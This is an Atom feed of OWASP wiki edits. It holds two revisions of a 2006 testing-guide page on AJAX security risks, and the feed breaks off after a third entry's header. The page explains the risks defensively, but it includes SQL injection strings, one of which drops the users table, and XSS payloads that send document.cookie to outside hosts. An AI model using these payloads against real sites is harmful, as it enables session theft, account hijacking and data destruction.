<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Anushshetty</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Anushshetty"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Anushshetty"/>
		<updated>2026-05-21T07:19:16Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=13950</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=13950"/>
				<updated>2006-12-04T18:46:34Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since AJAX is still a new technology, there are many security issues that have not yet been fully researched. Some of the security issues in AJAX include:&lt;br /&gt;
&lt;br /&gt;
* Increased attack surface with many more inputs to secure&lt;br /&gt;
* Exposed internal functions of the application&lt;br /&gt;
* Client access to third-party resources with no built-in security and encoding mechanisms&lt;br /&gt;
* Failure to protect authentication information and sessions&lt;br /&gt;
* Blurred line between client-side and server-side code, resulting in security mistakes&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&lt;br /&gt;
===XMLHttpRequest Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
AJAX uses the XMLHttpRequest(XHR) object for all communication with a server-side application, frequently a web service. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data, or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly, in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence, the login data is traversing the wire in clear text. Using secure HTTPS/SSLchannels  which the modern day browsers support is the easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks such as SQL Injection, Cross Site Scripting(XSS), etc.&lt;br /&gt;
&lt;br /&gt;
===Increased Attack Surface===&lt;br /&gt;
&lt;br /&gt;
Unlike traditional web applications that exist completely on the server, AJAX applications extend across the client and server, which gives the client some powers. This throws in additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL Injection===&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks are remote attacks on the database in which the attacker modifies the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty), and it is likely to be the first entry in the table. For many applications, that entry is the administrative login - the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query drops all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&lt;br /&gt;
===Cross Site Scripting===&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting is a technique by which malicious content is injected in form of HTML links, Javascripts Alerts, or error messages. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, and denial of service.&lt;br /&gt;
&lt;br /&gt;
The Browser and AJAX Requests look identical, so the server is not able to classify them. Consequently, it won't be able to discern who made the request in the background. A JavaScript program can use AJAX to request for a resource that occurs in the background without the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site Scripting (XSS) attack.&lt;br /&gt;
&lt;br /&gt;
Also, a XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&lt;br /&gt;
The XSS payload can use AJAX requests to autonomously inject itself into pages and easily re-inject the same host with more XSS (like a virus), all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Client Side Injection Threats===&lt;br /&gt;
&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data, and can also modify the client-side code.&lt;br /&gt;
* ''DOM Injection'' is a type pf XSS injection which happens through the sub-objects ,document.location, document.URL, or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content&lt;br /&gt;
&lt;br /&gt;
===AJAX Bridging===&lt;br /&gt;
&lt;br /&gt;
For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow AJAX to contact third-party sites in this manner, the AJAX service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Cross Site Request Forgery(CSRF)===&lt;br /&gt;
&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of his choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly, CSRF could have transfered funds, posted comments, compromised email lists, or reconfigured the network. When a victim is forced to make a CSRF request, it will be authenticated if they have recently logged-in. The worst part is all system logs would verify that you in fact made the request. This attack, though not common, has been done before. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Denial of Service===&lt;br /&gt;
&lt;br /&gt;
Denial of Service is an old attack in which an attacker or vulnerable application forces the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. In fact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks such as using image tags nested within a JavaScript loop can do the trick more effectively. AJAX, being on the client-side, makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
===Memory leaks===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Browser Based Attacks===&lt;br /&gt;
&lt;br /&gt;
The web browsers we use have not been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks, so our browsers are not prepared for newer attacks.&lt;br /&gt;
&lt;br /&gt;
There have been a number of new attacks on browsers, such as using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These could be computers that serve Web pages, but they could also include routers, printers, IP phones, and other networked devices or applications that have a Web interface. The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines which servers are running by looking for image files stored in standard places and analyzing the traffic and error messages it receives back. &lt;br /&gt;
&lt;br /&gt;
Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. In addition, the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
===MySpace Attack===&lt;br /&gt;
&lt;br /&gt;
The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject a virus into the MySpace profile of any user viewing infected page and forced any user viewing the infected page to add the user “Samy” to his friend list. It also appended the words “Samy is my hero” to the victim's profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Yahoo! Mail Attack===&lt;br /&gt;
&lt;br /&gt;
In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and AJAX, took advantage of a vulnerability in Yahoo Mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the Yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
&lt;br /&gt;
* '''OWASP Testing Guide sections on AJAX Testing''' provides information on various aspects of AJAX Testing&lt;br /&gt;
* [[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&lt;br /&gt;
* [[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools'''&lt;br /&gt;
&lt;br /&gt;
* '''Venkman''' &amp;lt;br&amp;gt; [http://www.mozilla.org/projects/venkman/ Venkman]is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers.&lt;br /&gt;
&lt;br /&gt;
* ''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and a test-generating and replaying add-on you can use with any web application.&lt;br /&gt;
&lt;br /&gt;
* '''Squish/Web (froglogic)'''&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows you to record, edit, and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&lt;br /&gt;
&lt;br /&gt;
* '''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
===Whitepapers===&lt;br /&gt;
&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Articles===&lt;br /&gt;
&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12230</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12230"/>
				<updated>2006-11-10T11:11:40Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''AJAX Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
'''OWASP Testing Guide sections on AJAX Testing''' provides you a very good information on various aspects of AJAX Testing. &amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Venkman''' &amp;lt;br&amp;gt; [http://www.mozilla.org/projects/venkman/ Venkman]is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12229</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12229"/>
				<updated>2006-11-10T11:08:47Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing */&lt;/p&gt;
&lt;hr /&gt;
